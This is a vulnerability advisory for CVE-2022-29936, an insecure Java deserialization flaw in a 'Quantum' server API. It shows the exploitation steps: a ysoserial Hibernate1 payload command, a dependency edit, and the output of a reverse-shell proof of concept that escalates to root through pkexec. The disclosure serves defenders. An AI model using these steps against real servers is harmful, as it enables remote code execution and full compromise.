CVE-2022-29936: Build software better, together

Overview

Quantum agent does require authentication to be downloaded.
Quantum userscredentials can be retreived in plaintext on agent configuration file.

Impact

A user with “Quantum” profile can trigger an unsecure deserialization on server APIs leading to RCE shell as “smartcollector” user.
“smartcollector” user can trivially escalate to root thanks to pkexec missconfiguration (please see attached bug).

Details

“Quantum” profiles can request /v2/quantum/save-data-upload-big-file API.

This API is waiting for a file that is deserialized with SerializationUtil class:

Pseudo-code:

 public class SerializationUtil
 {
   public static Object deserialize(String fileName) throws IOException, ClassNotFoundException {
     FileInputStream fis = new FileInputStream(fileName);
     BufferedInputStream bis = new BufferedInputStream(fis);
     ObjectInputStream ois = new ObjectInputStream(bis);
     Object obj = ois.readObject();
     ois.close();
     return obj;
   }
   ...

Unsecure Java deserialization is a common bug that is referenced in the TOP 10 Owasp:

(OWASP deserialization cheatsheets)[https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html]

By chainning Java gadgets it is possible to trigger execution on the server. The following blog post explain the basic concepts of gadgets:

(snyk.io java gadget chainning)[https://snyk.io/blog/serialization-and-deserialization-in-java/]

Gadget chained have been referenced in various tools allowing to quickly build payloads relying on dependencies. In our case we used ysoserial.

(https://github.com/frohoff/ysoserial)[https://github.com/frohoff/ysoserial]

By replacing the hibernate dependancy version in pom.xml with the one used on the server, we succeed to create valid payloads:

        <dependency>
          <groupId>org.hibernate</groupId>
          <artifactId>hibernate-core</artifactId>
-         <version>5.0.7-final</verion>
+         <version>5.2.10-final</verion>
        </dependency>

Once ysoserial is built (mvn clean package -DskipTests) it is possible to generate payloads:

java -Dhibernate5 -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 '<your cmd>'

Proof of Concept

You can find here a python script that demonstrates the ability to establish a reverse shell (here to 127.0.0.1 4444).
The Hibernate1 gadget chain payload has been encoded into base64.

Note: the encoded payload establish a reverse shell locally. For this proof of concept the script also should be executed locally.

The script require pwntools python framework.

• install pwntools (pip install pwntools)
• Copy python script from Appendix on the server.
• Replace quantum credentials and URL with yours.
• Then launch python script

It should result in remote code execution on server.

$ python3 quantum_serialize_exploit.py
[*] Try to authenticate to quantum
[+] Authentcation succeed
[*] Prepare reverse shell listener
[+] Trying to bind to :: on port 4444: Done
[+] Waiting for connections on :::4444: Got connection from ::ffff:127.0.0.1 on port 53112
[*] Trigger unsecure deserialization
[*] Switching to interactive mode
$ id
uid=1504(smartcollect) gid=1500(oinstall) groups=1500(oinstall),1504(smartcollect)
$ pkexec id
uid=0(root) gid=0(root) groups=0(root)

Recommendation****Security Patch

Upgrade to 5.17

Workarounds

We suggest to either use a more secure serialization or use a framework to validate user inputs before deserialization.

References****Credits

[Orange CERT-CC][ora]
Cyrille CHATRAS of [Orange][orange] group
[ora]: https://cert.orange.com/
[orange]: https://www.orange.com/

Timeline

Date reported: September 29, 2021
Date fixed: November 24, 2021